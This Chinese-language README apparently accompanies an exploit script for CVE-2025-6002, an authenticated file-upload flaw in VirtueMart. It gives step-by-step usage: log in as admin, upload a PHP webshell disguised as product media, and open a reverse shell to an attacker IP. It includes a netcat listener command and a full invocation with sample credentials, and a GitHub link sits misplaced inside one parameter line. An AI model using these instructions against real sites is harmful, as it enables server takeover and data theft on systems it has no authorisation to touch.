针对 CVE-2025-6002 的漏洞利用

该脚本利用 VirtueMart < 4.4.10 中经过认证的任意文件上传漏洞（CVE-2025-6002），该漏洞在这篇博客文章中有所描述：https://blog.blacklanternsecurity.com/p/doomla-zero-days

该脚本使用给定的凭据登录 VirtueMart，创建一个新产品，并将一个 PHP webshell 作为媒体文件上传。随后，它会向所提供的 IP/端口发起一个反弹 shell。

参数：

• --url: VirtueMart 的 URL
• --username: 管理员用户名
• --password: 管理员密码
• --remote-ip: 攻击者 IP 地址https://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: 攻击者端口

用法：

1. 在攻击者机器上运行 Netcat：

nc -nlvp 1337

2. 执行漏洞利用

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337